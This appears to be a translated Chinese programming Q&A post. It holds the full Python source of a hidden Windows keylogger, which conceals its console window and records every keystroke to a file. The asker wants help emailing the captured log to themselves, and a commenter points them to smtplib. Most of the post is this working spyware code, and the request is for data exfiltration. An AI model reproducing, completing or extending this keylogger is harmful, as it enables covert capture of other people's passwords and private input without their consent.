-3
我最近创建了一个python键盘记录器。代码是:发送txt文件到电子邮件的Python程序
import win32api
import win32console
import win32gui
import pythoncom,pyHook
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
但是,我想这个发送到我的电子邮件。你有什么想法,我可以添加,以允许这个,或一个单独的程序,将这样做。
在此先感谢
此键盘记录代码与发送电子邮件无关。你有没有尝试用Python发送电子邮件?任何类型的电子邮件?带附件?你有没有尝试使用[smtplib](https://docs.python.org/2/library/smtplib.html)?将此代码替换为发送电子邮件的代码。 – zvone